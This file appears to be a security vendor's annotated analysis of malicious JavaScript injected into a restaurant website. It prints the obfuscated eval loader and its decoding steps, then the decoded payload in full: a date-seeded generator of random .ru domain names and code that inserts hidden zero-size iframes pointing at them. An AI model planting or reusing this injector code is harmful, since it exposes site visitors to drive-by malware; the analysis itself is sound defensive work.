/******************************
 * Quttera Web Malware monitor detected malicious JavaScript code
 * that use multiple levels of obfuscation. Decoded payload generates
 * hidden iframes to random websites located under *.ru
 *
 * Full report could be found here: http://quttera.com/detailed_report/www.ristoranteada.eu
 *
 * The initial threat code
 ******************************/
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
window.eval(String.fromCharCode(105, 61, 48, 59, 116, 114, 121, 123, 112, 114, 111, 116, 111, 116, 121, 112, 101, 45, 53, 59, 125, 99, 97, 116, 99, 104, 40, 122, 41, 123, 102, 61, 91, 49, 48, 50, 44, ... 116, 114, 121, 123, 113, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 98, 34, 41, 59, 105, 102, 40, 101, 41, 113, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 113, 43, 34, 34, 41, 59, 125, 99, 97, 116, 99, 104, 40, 102, 119, 98, 101, 119, 101, 41, 123, 119, 61, 102, 59, 115, 61, 91, 93, 59, 125, 13, 10, 114, 61, 83, 116, 114, 105, 110, 103, 59, 122, 61, 40, 40, 101, 41, 63, 34, 67, 111, 100, 101, 34, 58, 34, 34, 41, 59, 102, 111, 114, 40, 59, 49, 51, 51, 51, 45, 53, 43, 53, 62, 105, 59, 105, 43, 61, 49, 41, 123, 106, 61, 105, 59, 105, 102, 40, 101, 41, 115, 61, 115, 43, 114, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 40, 119, 91, 106, 93, 47, 40, 50, 45, 49, 43, 106, 37, 50, 41, 41, 41, 59, 125, 13, 10, 105, 102, 40, 102, 41, 101, 40, 115, 41, 59));

/*******************************************************
 * First level of decryption
 *******************************************************/
i = 0;
try {
    prototype - 5;
} catch (z) {
    f = [102, 234, 110, 198, 116, 210, 111, 220, 32, 220, 101, 240, 116, 164, 97, 220, 100, 222, 109, ... 210, 108, 200, 40, 210, 102, 228, 109, 82, 125, 250, 99, 194, 116, 198, 104, 80, 101, 82, 123, 250, 125, 88, 53, 96, 48, 82, 59];
    v = "e" + "v" + "a";
}
if (v) e = window[v + "l"];
try {
    q = document.createElement("b");
    if (e) q.appendChild(q + "");
} catch (fwbewe) {
    w = f;
    s = [];
}

r = String;
z = ((e) ? "Code" : "");
for (; 1333 - 5 + 5 > i; i += 1) {
    j = i;
    if (e) s = s + r.fromCharCode((w[j] / (2 - 1 + j % 2)));
}
if (f) e(s);

/*******************************************************************
 * simplified version of this threat
 *******************************************************************/
s = "";
i = 0;
f = [102, 234, 110, 198, 116, 210, 111, 220, 32, 220, 101, 240, 116, 164, 97, 2....];
for (; 1333 - 5 + 5 > i; i += 1) { s = s + String.fromCharCode((f[i] / (2 - 1 + i % 2)));}
eval(s);


/*********************************************************************
 * Decoded payload generates hidden iframes to random domains in *.ru
 * http://<random-domain-name>.ru/runforestrun?sid=cx
 ******************************************************************/
function nextRandomNumber() {
    var hi = this.seed / this.Q;
    var lo = this.seed % this.Q;
    var test = this.A * lo - this.R * hi;
    if (test > 0) {
        this.seed = test
    } else {
        this.seed = test + this.M
    }
    return (this.seed * this.oneOverM)
}
function RandomNumberGenerator(unix) {
    var d = new Date(unix * 1000);
    var s = d.getHours() > 12 ? 1 : 0;
    this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
    this.A = 48271;
    this.M = 2147483647;
    this.Q = this.M / this.A;
    this.R = this.M % this.A;
    this.oneOverM = 1.0 / this.M;
    this.next = nextRandomNumber;
    return this
}
function createRandomNumber(r, Min, Max) {
    return Math.round((Max - Min) * r.next() + Min)
}
function generatePseudoRandomString(unix, length, zone) {
    var rand = new RandomNumberGenerator(unix);
    var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
    var str = '';
    for (var i = 0; i < length; i++) {
        str += letters[createRandomNumber(rand, 0, letters.length - 1)]
    }
    return str + '.' + zone
}
setTimeout(function () {
    try {
        if (typeof iframeWasCreated2 == "undefined") {
            iframeWasCreated2 = true;
            var unix = Math.round(+new Date() / 1000);
            var domainName = generatePseudoRandomString(unix, 16, 'ru');
            ifrm = document.createElement("IFRAME");
            ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");
            ifrm.style.width = "0px";
            ifrm.style.height = "0px";
            ifrm.style.visibility = "hidden";
            document.body.appendChild(ifrm)
        }
    } catch (e) {}
}, 500);